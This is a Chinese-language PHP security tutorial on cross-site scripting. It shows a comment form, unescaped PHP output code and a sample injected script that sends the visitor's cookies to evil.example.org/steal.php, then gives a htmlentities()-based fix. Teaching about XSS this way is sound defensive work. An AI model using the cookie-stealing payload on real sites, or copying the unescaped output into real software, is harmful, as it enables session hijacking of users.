PHP安全-跨站腳本攻擊
跨站腳本攻擊是眾所周知的攻擊方式之一。所有平臺上的Web應(yīng)用都深受其擾,PHP應(yīng)用也不例外。
所有有輸入的應(yīng)用都面臨著風險。Webmail,論壇,留言本,甚至是Blog。事實上,大多數(shù)Web應(yīng)用提供輸入是出于更吸引人氣的目的,但同時這也會把自己置于危險之中。如果輸入沒有正確地進行過濾和轉(zhuǎn)義,跨站腳本漏洞就產(chǎn)生了。
以一個允許在每個頁面上錄入評論的應(yīng)用為例,它使用了下面的表單幫助用戶進行提交:
CODE:
<form action='comment.php' method='POST' />
<p>Name: <input type='text' name='name' /><br />
Comment: <textarea name='comment' rows='10' cols='60'></textarea><br />
<input type='submit' value='Add Comment' /></p>
</form>
程序向其他訪問該頁面的用戶顯示評論。例如,類似下面的代碼段可能被用來輸出一個評論($comment)及與之對應(yīng)的發(fā)表人($name):
CODE:
<?php
echo '<p>$name writes:<br />';
echo '<blockquote>$comment</blockquote></p>';
?>
這個流程對$comment及$name的值給予了充分的信任,想象一下它們中的一個的內(nèi)容中包含如下代碼:
CODE:
<script>
document.location =
’http://evil.example.org/steal.php?cookies=’ +
document.cookie
</script>
如果你的用戶察看這個評論時,這與你允許別人在你的網(wǎng)站源程序中加入Javascript代碼無異。你的用戶會在不知不覺中把他們的cookies(瀏覽網(wǎng)站的人)發(fā)送到evil.example.org,而接收程序(steal.php)可以通過$_GET[’cookies’]變量防問所有的cookies。
這是一個常見的錯誤,主要是由于不好的編程習(xí)慣引發(fā)的。幸運的是此類錯誤很容易避免。由于這種風險只在你輸出了被污染數(shù)據(jù)時發(fā)生,所以只要確保做到如第一章所述的過濾輸入及轉(zhuǎn)義輸出即可
最起碼你要用htmlentities( )對任何你要輸出到客戶端的數(shù)據(jù)進行轉(zhuǎn)義。該函數(shù)可以把所有的特殊字符轉(zhuǎn)換成HTML表示方式。所有會引起瀏覽器進行特殊處理的字符在進行了轉(zhuǎn)換后,就能確保顯示出來的是原來錄入的內(nèi)容。
由此,用下面的代碼來顯示評論是更安全的:
CODE:
<?php
$clean = array();
$html = array();
/* Filter Input ($name, $comment) */
$html[’name’] = htmlentities($clean[’name’], ENT_QUOTES, ’UTF-8’);
$html[’comment’] = htmlentities($clean[’comment’], ENT_QUOTES, ’UTF-8’);
echo '<p>{$html[’name’]} writes:<br />';
echo '<blockquote>{$html[’comment’]}</blockquote></p>';
?>
相關(guān)文章:
1. 如何用 Python 制作一個迷宮游戲2. vue組件庫的在線主題編輯器的實現(xiàn)思路3. 網(wǎng)頁中img圖片使用css實現(xiàn)等比例自動縮放不變形(代碼已測試)4. idea設(shè)置自動導(dǎo)入依賴的方法步驟5. 部署vue+Springboot前后端分離項目的步驟實現(xiàn)6. AspNetCore&MassTransit Courier實現(xiàn)分布式事務(wù)的詳細過程7. Django如何使用asyncio協(xié)程和ThreadPoolExecutor多線程8. Python安裝并操作redis實現(xiàn)流程詳解9. AJAX實現(xiàn)數(shù)據(jù)的增刪改查操作詳解【java后臺】10. JavaScript實現(xiàn)組件化和模塊化方法詳解
